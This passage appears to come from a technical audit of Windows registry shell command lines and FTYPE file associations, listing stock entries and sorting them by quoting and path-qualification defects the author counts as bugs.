HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\1\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\2\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\3\{9d4b9c0a-7b4e-4c0d-926e-a536d781cff6}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnEdit %*

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\6\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\7\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\0\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\1\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\2\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\3\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddNetworkLocation\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddPrinter\command
    (Default)    REG_EXPAND_SZ    %systemroot%\system32\rundll32.exe printui.dll,PrintUIEntry /il

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\0\{27dfca82-8593-46e4-98d8-23eb83452f65}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewEmail %*

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\1\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\2\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\3\{9d4b9c0a-7b4e-4c0d-926e-a536d781cff6}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnEdit %*

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\6\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\7\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\0\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\1\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\2\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\3\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{00021400-0000-0000-C000-000000000046}\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{0AFACED1-E828-11D1-9187-B532F1E9575D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{0DF44EAA-FF21-4412-828E-260A8728E7F1}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 1

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Manage\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\OpenWithoutDiagnostics\Command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN /disablediagnostics

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rstrui.exe

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{40419485-C444-4567-851A-2DD7BFA1684D}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\telephon.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{48e7caab-b918-4e58-a94d-505519c795dc}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\intl.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{6C8EEC18-8D75-41B2-A177-8831D59D2D50}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\RunAs\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{725BE8F7-668E-4C7B-8F90-46BDB0936430}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl,@1

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\RunAs\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{7A9D77BD-5403-11d2-8785-2E0420524153}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    netplwiz.exe

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{87D66A43-7B11-4A28-9811-C86EE395ACF7}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\srchadmin.dll

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\Shell\Open\Command
    (Default)    REG_SZ    C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\shell32.dll,Control_RunDLL C:\Windows\SysWOW64\inetcpl.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{B2C761C6-29BC-4f19-9251-E6195265BAF1}\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\SysWOW64\colorcpl.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\changehomegroupsettings\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\sharewithdevices\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.NetworkAndSharingCenter /page ShareMedia

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\starthomegrouptroubleshooter\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\msdt.exe -id HomegroupDiagnostic

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\viewhomegrouppassword\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup /page Passkey

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{D4480A50-BA28-11d1-8E75-00C04FA31A86}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\timedate.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{E44E5D18-0652-4508-A4E2-8A090067BCB0}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.DefaultPrograms

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Classes\CLSID\{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\Protocols\certificate_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\Protocols\contact_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\Protocols\group_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\Protocols\LDAP\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\Protocols\vcard_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Contacts\Address Book\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /showexisting

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Mail\Hotmail\Protocols\mailto\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",MailToProtocolHandler %1

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Mail\Hotmail\shell\open\command
    (Default)    REG_EXPAND_SZ    %systemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",OpenInboxHandler

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\Media\Windows Media Player\shell\open\command
    (Default)    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\StartMenuInternet\IEXPLORE.EXE\shell\naom\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -extoff

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command
    (Default)    REG_SZ    C:\Program Files\Internet Explorer\iexplore.exe

End of search: 587 match(es) found.

Note: only 219 of these 587 command lines comply with Microsoft’s own documentation, while the other 368 command lines show a total number of 573 bugs!

Command lines without a dot, i.e. without any file extension:

FTYPE | FIND.EXE /V "."

batfile="%1" %*
cmdfile="%1" %*
comfile="%1" %*
exefile="%1" %*
MSStorageSense=explorer ms-settings:storagesense
piffile="%1" %*
scrfile="%1" /S

Command lines without a backslash, i.e. without any qualified pathname:

FTYPE | FIND.EXE /V "\"

batfile="%1" %*
brmFile="PrintBrmUI.exe" /import /file:"%1"
cmdfile="%1" %*
comfile="%1" %*
exefile="%1" %*
MSSppLicenseFile="iexplore.exe" "%1"
MSStorageSense=explorer ms-settings:storagesense
piffile="%1" %*
regedit=regedit.exe "%1"
regfile=regedit.exe "%1"
scrfile="%1" /S

Command lines without a (double) quote:

FTYPE | FIND.EXE /V """"

CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
Folder=%SystemRoot%\Explorer.exe
hlpfile=%SystemRoot%\winhlp32.exe %1
inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
Microsoft.Workfolders=C:\Windows\System32\control.exe /name Microsoft.WorkFolders
ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
ms-perception-simulation=%SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1
ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
MSStorageSense=explorer ms-settings:storagesense
opensearchdescription=%SystemRoot%\explorer.exe
P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
SHCmdFile=%SystemRoot%\explorer.exe
SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1

Command lines with an unquoted environment variable in the application’s pathname:

FTYPE | FIND.EXE "=%"

CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
Diagnostic.Cabinet=%SystemRoot%\system32\msdt.exe /cab "%1"
Diagnostic.Config=%SystemRoot%\system32\msdt.exe /path "%1"
Diagnostic.Document=%SystemRoot%\system32\msdt.exe /path "%1"
Diagnostic.Perfmon.Config=%SystemRoot%\system32\perfmon /sys /load "%1"
Diagnostic.Perfmon.Document=%SystemRoot%\system32\perfmon /sys /open "%1"
Diagnostic.Resmon.Config=%SystemRoot%\system32\perfmon /res /load "%1"
evtfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
evtxfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
Folder=%SystemRoot%\Explorer.exe
hlpfile=%SystemRoot%\winhlp32.exe %1
inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
ms-perception-simulation=%SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1
ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
MSInfoFile=%SystemRoot%\system32\msinfo32.exe "%1"
msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
opensearchdescription=%SystemRoot%\explorer.exe
P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
pbkfile=%SystemRoot%\system32\rasphone.exe -f "%1"
PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
SHCmdFile=%SystemRoot%\explorer.exe
SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
Undecided=%SystemRoot%\system32\OpenWith.exe "%1"
Unknown=%SystemRoot%\system32\OpenWith.exe "%1"
wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
WindowsStore.License=%SystemRoot%\System32\licensemanagershellext.exe "%1"
zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1

Command lines with an unquoted long argument:

FTYPE | FIND.EXE /I " %L"

IE.AssocFile.URL="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
InternetShortcut="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
rlogin="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
telnet="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
tn3270="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l

Command lines with an unquoted argument:

FTYPE | FIND.EXE " %1"

Application.Manifest="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1
Application.Reference="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2
CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
